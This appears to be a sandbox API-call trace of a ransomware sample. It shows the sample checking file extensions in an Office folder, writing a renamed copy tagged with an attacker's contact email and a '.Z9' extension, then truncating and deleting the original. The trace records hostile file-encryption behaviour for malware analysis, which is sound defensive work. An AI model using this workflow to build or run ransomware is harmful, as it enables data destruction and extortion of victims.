	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.154] lstrlenW (lpString=".jpg") returned 4
	[0169.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.155] lstrlenW (lpString=".doc") returned 4
	[0169.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString=".docx") returned 5
	[0169.155] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.155] lstrlenW (lpString=".pdf") returned 4
	[0169.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString=".xls") returned 4
	[0169.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString=".xlsx") returned 5
	[0169.155] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.155] lstrlenW (lpString=".ppt") returned 4
	[0169.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.155] lstrlenW (lpString=".zip") returned 4
	[0169.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString=".rar") returned 4
	[0169.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.155] lstrlenW (lpString=".bz2") returned 4
	[0169.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.155] lstrlenW (lpString=".7z") returned 3
	[0169.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.155] lstrlenW (lpString=".dbf") returned 4
	[0169.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.156] lstrlenW (lpString=".1cd") returned 4
	[0169.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0169.156] lstrlenW (lpString=".jpg") returned 4
	[0169.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.156] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.156] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0169.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0
	[0169.158] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=18624) returned 1
	[0169.158] CloseHandle (hObject=0x4f0) returned 1
	[0169.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0169.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.159] lstrlenW (lpString=".doc") returned 4
	[0169.159] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString=".docx") returned 5
	[0169.159] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.159] lstrlenW (lpString=".pdf") returned 4
	[0169.159] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString=".xls") returned 4
	[0169.159] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString=".xlsx") returned 5
	[0169.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.159] lstrlenW (lpString=".ppt") returned 4
	[0169.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.159] lstrlenW (lpString=".zip") returned 4
	[0169.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString=".rar") returned 4
	[0169.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.159] lstrlenW (lpString=".bz2") returned 4
	[0169.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.159] lstrlenW (lpString=".7z") returned 3
	[0169.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.159] lstrlenW (lpString=".dbf") returned 4
	[0169.159] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.159] lstrlenW (lpString=".1cd") returned 4
	[0169.160] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.160] lstrlenW (lpString=".jpg") returned 4
	[0169.160] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.160] lstrlenW (lpString=".doc") returned 4
	[0169.160] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString=".docx") returned 5
	[0169.160] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.160] lstrlenW (lpString=".pdf") returned 4
	[0169.160] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString=".xls") returned 4
	[0169.160] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString=".xlsx") returned 5
	[0169.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.160] lstrlenW (lpString=".ppt") returned 4
	[0169.160] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.160] lstrlenW (lpString=".zip") returned 4
	[0169.160] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString=".rar") returned 4
	[0169.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.160] lstrlenW (lpString=".bz2") returned 4
	[0169.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.160] lstrlenW (lpString=".7z") returned 3
	[0169.161] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.161] lstrlenW (lpString=".dbf") returned 4
	[0169.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.161] lstrlenW (lpString=".1cd") returned 4
	[0169.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0169.161] lstrlenW (lpString=".jpg") returned 4
	[0169.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.161] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.161] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0169.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0169.397] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11616) returned 1
	[0169.397] CloseHandle (hObject=0x440) returned 1
	[0169.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0169.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.760] lstrlenW (lpString=".doc") returned 4
	[0169.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.760] lstrlenW (lpString=".docx") returned 5
	[0169.760] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.760] lstrlenW (lpString=".pdf") returned 4
	[0169.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.760] lstrlenW (lpString=".xls") returned 4
	[0169.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.760] lstrlenW (lpString=".xlsx") returned 5
	[0169.760] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.761] lstrlenW (lpString=".ppt") returned 4
	[0169.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString=".zip") returned 4
	[0169.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.761] lstrlenW (lpString=".rar") returned 4
	[0169.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.761] lstrlenW (lpString=".bz2") returned 4
	[0169.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.761] lstrlenW (lpString=".7z") returned 3
	[0169.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString=".dbf") returned 4
	[0169.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString=".1cd") returned 4
	[0169.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString=".jpg") returned 4
	[0169.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.761] lstrlenW (lpString=".doc") returned 4
	[0169.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.761] lstrlenW (lpString=".docx") returned 5
	[0169.761] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.761] lstrlenW (lpString=".pdf") returned 4
	[0169.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.762] lstrlenW (lpString=".xls") returned 4
	[0169.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.762] lstrlenW (lpString=".xlsx") returned 5
	[0169.762] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.762] lstrlenW (lpString=".ppt") returned 4
	[0169.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.762] lstrlenW (lpString=".zip") returned 4
	[0169.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.762] lstrlenW (lpString=".rar") returned 4
	[0169.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.762] lstrlenW (lpString=".bz2") returned 4
	[0169.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.762] lstrlenW (lpString=".7z") returned 3
	[0169.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.762] lstrlenW (lpString=".dbf") returned 4
	[0169.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.762] lstrlenW (lpString=".1cd") returned 4
	[0169.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82
	[0169.762] lstrlenW (lpString=".jpg") returned 4
	[0169.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.762] lstrcmpiW (lpString1=".manifest", lpString2=".Z9") returned -1
	[0169.763] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26
	[0169.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0169.769] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=707) returned 1
	[0169.769] CloseHandle (hObject=0x524) returned 1
	[0169.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220
	[0169.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0169.771] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.771] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0169.772] GetLastError () returned 0x0
	[0169.772] ReadFile (in: hFile=0x524, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2c3, lpOverlapped=0x0) returned 1
	[0169.789] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0169.790] ReadFile (in: hFile=0x524, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.790] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x108, lpOverlapped=0x0) returned 1
	[0169.790] SetEndOfFile (hFile=0x52c) returned 1
	[0169.790] CloseHandle (hObject=0x52c) returned 1
	[0169.791] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.791] SetEndOfFile (hFile=0x524) returned 1
	[0169.794] CloseHandle (hObject=0x524) returned 1
	[0169.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1
	[0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.391] lstrlenW (lpString=".doc") returned 4
	[0170.391] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0170.391] lstrlenW (lpString=".docx") returned 5
	[0170.391] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0170.391] lstrlenW (lpString=".pdf") returned 4
	[0170.391] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0170.391] lstrlenW (lpString=".xls") returned 4
	[0170.391] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0170.391] lstrlenW (lpString=".xlsx") returned 5
	[0170.391] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0170.391] lstrlenW (lpString=".ppt") returned 4
	[0170.391] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0170.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.391] lstrlenW (lpString=".zip") returned 4
	[0170.392] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".rar") returned 4
	[0170.392] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".bz2") returned 4
	[0170.392] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".7z") returned 3
	[0170.392] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString=".dbf") returned 4
	[0170.392] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString=".1cd") returned 4
	[0170.392] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString=".jpg") returned 4
	[0170.392] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString=".doc") returned 4
	[0170.392] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".docx") returned 5
	[0170.392] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0170.392] lstrlenW (lpString=".pdf") returned 4
	[0170.392] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".xls") returned 4
	[0170.392] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".xlsx") returned 5
	[0170.392] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0170.392] lstrlenW (lpString=".ppt") returned 4
	[0170.392] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.392] lstrlenW (lpString=".zip") returned 4
	[0170.392] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0170.392] lstrlenW (lpString=".rar") returned 4
	[0170.392] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0170.393] lstrlenW (lpString=".bz2") returned 4
	[0170.393] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0170.393] lstrlenW (lpString=".7z") returned 3
	[0170.393] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0170.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.393] lstrlenW (lpString=".dbf") returned 4
	[0170.393] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0170.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.393] lstrlenW (lpString=".1cd") returned 4
	[0170.393] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0170.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0170.393] lstrlenW (lpString=".jpg") returned 4
	[0170.393] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0170.393] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.393] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36
	[0170.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.480] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=49368) returned 1
	[0170.480] CloseHandle (hObject=0x4a4) returned 1
	[0170.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220
	[0170.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0170.733] lstrlenW (lpString=".doc") returned 4
	[0170.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString=".docx") returned 5
	[0170.733] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0170.733] lstrlenW (lpString=".pdf") returned 4
	[0170.733] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString=".xls") returned 4
	[0170.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.733] lstrlenW (lpString=".xlsx") returned 5
	[0170.733] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0170.733] lstrlenW (lpString=".ppt") returned 4
	[0170.733] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
